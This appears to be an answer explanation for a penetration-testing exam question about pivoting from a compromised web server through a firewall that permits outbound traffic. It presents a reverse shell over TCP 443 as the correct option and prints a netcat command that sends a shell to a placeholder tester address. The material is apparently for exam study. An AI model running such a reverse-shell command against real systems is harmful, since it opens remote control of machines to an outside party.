The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:
* Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)
* Unrestricted outbound traffic
* Reverse shell using TCP 443 (Option D):
* This command initiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall.
* Example:
bash
CopyEdit
/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
* The pentester listens on TCP 443 and receives the shell from the target.
